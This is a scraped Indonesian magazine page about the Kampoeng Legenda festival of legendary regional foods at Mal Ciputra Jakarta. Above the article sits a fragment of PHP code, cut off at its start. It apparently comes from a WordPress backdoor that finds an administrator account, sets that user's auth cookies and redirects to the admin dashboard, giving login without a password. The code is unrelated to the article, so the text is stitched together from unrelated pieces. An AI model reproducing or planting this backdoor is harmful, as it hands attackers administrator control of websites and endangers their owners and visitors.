user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Food Trend
Kampoeng Legenda Hadirkan Kuliner Legendaris Nusantara di Mal Ciputra

10 Aug 2024

Asem-asem Koh Liem Semarang (paling kiri) dan Klepon Gianyar Bali (paling kanan) hadir meramaikan Kampoeng Legenda.
Foto: Dok. Mal Ciputra

Memperingati hari Kemerdekaan Republik Indonesia ke-79, Mal Ciputra Jakarta kembali menghadirkan event tahunan yang selalu dinantikan oleh para pencinta kuliner legendaris Nusantara, Kampoeng Legenda. 

Di tahun ke-9 penyelenggaraannya, Kampoeng Legenda mengangkat tema Satu Tujuan, Berjuta RasaFestival makanan ini berlangsung sejak tanggal 7 hingga 18 Agustus 2024 di area Center Court dan area Lower Ground, Mal Ciputra. Istimewanya, beberapa peserta festival ini menggunakan bahan baku autentik yang dibawa langsung dari lokasi asalnya, sehingga cita rasanya pun seperti kita menyantap di tempat aslinya. 
 
"Kami juga berharap event ini dapat menjadi ajang pertemuan para pencinta dan pelaku kuliner dalam satu tujuan bersama dalam melestarikan kuliner Indonesia," ujar Ferry Irianto, General Manager Mal Ciputra Jakarta pada konferensi pers pembukaan Kampoeng Legenda.
 
Klepon Gianyar wajib dicoba! Foto: Dok. Mal Ciputra
 
Advertisement
Tahun ini Kampoeng Legenda menghadirkan Klepon Gianyar, Bali, yang dirintis sejak tahun 1980 dan hits banget. Ida Ayu Putu Laksmi Dewi dari Klepon Gianyar mengatakan bahwa mereka memiliki pemasok gula merah (untuk isian klepon) yang sama sejak mereka berdiri. Femina pun mencobanya; sensasi rasa pecahnya gula merah di dalam mulut saat makan kleponnya serasa sampai ke Bali! 

Beberapa legenda kuliner juga debut meramaikan Kampoeng Legenda; antara lain Gudeg Koyor Yu’ Par dari Yogyakarta (sejak 1980), Ayam Goreng Warung Doyong dari Bogor (1979), hingga Empal Gentong Mang Darma dari Cirebon (1947) dan Mie Lethek Garuda dari Yogyakarta (1942).
 
Sudah pasti legenda kuliner yang setia hadir tetap ada, seperti Warung Mak Beng, Bali (1941), Nasi Liwet Wongso Lemu Asli Bu Dayan dari Solo (1950), sampai Es Sinar Garut Putra Abah dari Garut (1959). Tentunya masih banyak lagi kuliner legendaris dari berbagai wilayah Tanah Air lainnya yang siap menggoyang lidah kita. Yuk, ke sini dan cobain semua! (f)

Baca juga:
Nyobain Keju Artisan di Nusantara Food & Hotel Expo 2024
Daun Jati Menjadikan Gudeg Berwarna Gelap? Ini Alasannya!
Fuyunghai, Dadar Siram Saus Asam Manis

 

Bennita Luisa


Topic

#feminaindonesia, #kuliner, #feminafood

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?